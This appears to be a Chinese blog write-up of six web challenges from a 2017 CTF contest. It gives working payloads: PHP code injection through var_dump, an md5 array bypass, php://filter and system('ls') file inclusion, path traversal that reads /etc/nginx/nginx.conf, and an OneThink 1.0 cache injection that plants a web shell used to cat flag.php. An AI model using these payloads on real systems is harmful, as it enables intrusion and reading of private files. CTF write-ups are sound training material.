i春秋 “百度杯”CTF比赛 2017 二月场 Web writeup

i春秋 “百度杯”CTF比赛 2017 二月场 Web writeup

爆破-1

分值:10分 类型:MiscWeb
题目内容:flag就在某六位变量中。

启动靶机,打开题目:
在这里插入图片描述
进入页面为一段源码,分析代码:

  1. 包含flag.php文件
  2. 需要传入变量hello的值
  3. 正则表达式匹配:一个或多个[A-Za-z0-9_]
  4. var_dump() 函数用于输出变量的相关信息
  5. show_source() 函数对文件进行语法高亮显示

var_dump() 函数中的变量为$$a->$hello,会打印出$hello的值,根据提示flag在六位变量,想到:使用GLOBALS查看所以变量的值:

?hello=GLOBALS

在这里插入图片描述
访问后得到所有变量的值:
可以得到flag在变量d3f0f8中,构造payload

?hello=d3f0f8

在这里插入图片描述
得到flag

爆破-2

分值:10分 类型:MiscWeb
题目内容:flag不在变量中。

启动靶机,打开题目:
在这里插入图片描述
进入页面为一段源码,分析代码:

  1. 包含了flag.php文件
  2. 需要为变量hello传入参数
  3. 会显示传入参数的相关信息

尝试传入参数:

?hello=$GLOBALS

得到回显信息:
在这里插入图片描述
根据提示,flag不在变量中

方法一
尝试直接读取文件:

?hello=file("flag.php")

file()函数会将文件读入数组中,数组中的每个单元都是文件中相应的一行:
在这里插入图片描述
得到flag

方法二
使用file_get_contents()函数:

/?hello=file_get_contents('flag.php')

在这里插入图片描述
查看网页源代码:
在这里插入图片描述
得到flag

方法三
闭合原语句var_dump(的括号,使用highlight_file()函数读取flag.php的内容:

?hello=);highlight_file("flag.php");var_dump(

在这里插入图片描述
得到flag

爆破-3

分值:10分 类型:MiscWeb
题目内容:这个真的是爆破。

启动靶场,打开题目:
得到一段源码:

<?php 
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){
  $_SESSION['nums'] = 0;
  $_SESSION['time'] = time();
  $_SESSION['whoami'] = 'ea';
}

if($_SESSION['time']+120<time()){
  session_destroy();
}

$value = $_REQUEST['value'];
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];

if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
  $_SESSION['nums']++;
  $_SESSION['whoami'] = $str_rands;
  echo $str_rands;
}

if($_SESSION['nums']>=10){
  echo $flag;
}

show_source(__FILE__);
?>

分析源码:

  1. 关闭错误报告
  2. 启用session会话
  3. 设置变量nums0time为当前时间;whoami的值为:ea
  4. 120秒后结束回话
  5. 传入变量value的值
  6. 创建一个从 “a” 到 “z” 的数组$str_rand
  7. mt_rand()0-25随机选取数字,整句话得到两个随机字母
  8. whoami需要等于value的前两位,并且valuemd5值的第5为开始,长度为4的字符串==0
  9. 循环10次输出flag

需要我们做的就是在120秒内传递10value的值,并且用md5()不能加密数组的方式绕过,构造payload

?value[]=ea

在这里插入图片描述
再次传入返回的两个字母:

?value[]=fh

在这里插入图片描述
多次后得到flag

include

分值:50分 类型:Web
题目内容:没错!就是文件包含漏洞。

启动靶机,打开环境:
在这里插入图片描述
给出了源码和PHP配置文件信息,提示为文件包含漏洞,检索配置信息:
在这里插入图片描述
可以看到allow_url_fopen关闭,allow_url_include开启,即禁止打开URL文件,但允许引用URL文件,尝试使用php伪协议,先查看当前目录下文件信息:
在这里插入图片描述
使用Google Chrome的插件HackBar通过POST方式传参:

<?php system('ls');?>

在这里插入图片描述
得到了三个文件,猜测flagdle345aae.php中,

?path=php://filter/read=convert.base64-encode/resource=dle345aae.php

得到Base64机密后的flag
在这里插入图片描述
在线Base64解码得到flag

在这里插入图片描述

Zone

分值:50分 类型:Web
题目内容:网站要上线了,还没测试呢,怎么办?

启动靶机,打开题目:
在这里插入图片描述
是一个空间登陆界面,尝试登陆:
在这里插入图片描述
判断不是SQL注入漏洞,继续寻找线索,查看robots.txt
在这里插入图片描述
访问该页面:
在这里插入图片描述
只有一句话,尝试寻找别的线索,在Cookie中发现一个参数:login=0
在这里插入图片描述
将其修改为:1,再次点击主页:
在这里插入图片描述
跳转到新页面,尝试恢复乱码失败,通过官方writeup知道了是Nginx配置不当漏洞,尝试访问上级目录:

../

将其插入到index.php中,发现页面回显正常,可能被过滤掉,尝试双写绕过:

/manages/admin.php?module=..././..././..././etc/nginx/nginx.conf&name=

在这里插入图片描述
最后一句:include sites-enabled/default;,继续访问:

?module=..././..././..././etc/nginx/sites-enabled/default&name=

在这里插入图片描述

location /online-movies { alias /movie/; autoindex on; } 

其中autoindex on意味着存在漏洞遍历漏洞,结合之前的flag.php即可构造payload:

/online-movies../var/www/flag.php

下载得到flag文件:
在这里插入图片描述
打开文件得到flag

OneThink

分值:50分 类型:Web
题目内容:利用已知的漏洞拿shell吧。

启动靶机,访问页面:
在这里插入图片描述
根据描述已知漏洞,查询OneThink1.0版本的漏洞:
在这里插入图片描述
OneThink1.0文件缓存漏洞分析及题目复现
原理参考本篇文章,只说利用,注册用户%0a$a=$_GET[a];//
在这里插入图片描述
使用BurpSuite抓取数据包,将%0a进行URL解码
在这里插入图片描述
在这里插入图片描述
发送数据包,注册成功,第二次注册用户:%0asystem($a);//,注册过程相同,按顺序使用两个账号进行登录:
在这里插入图片描述
与注册一样,使用BurpSuite抓取数据包,将%0a进行URL解码,发送修改后的数据包:
在这里插入图片描述
登陆成功,访问:/Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php
在这里插入图片描述
查看当前文件夹下内容:

/Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php?a=ls

通过../访问上层目录:
在这里插入图片描述
?a=ls ../../的时候发现flag.php
在这里插入图片描述
使用cat命令访问,即最终payload

/Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php?a=cat ../../flag.php

在网页源码中得到flag
在这里插入图片描述

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值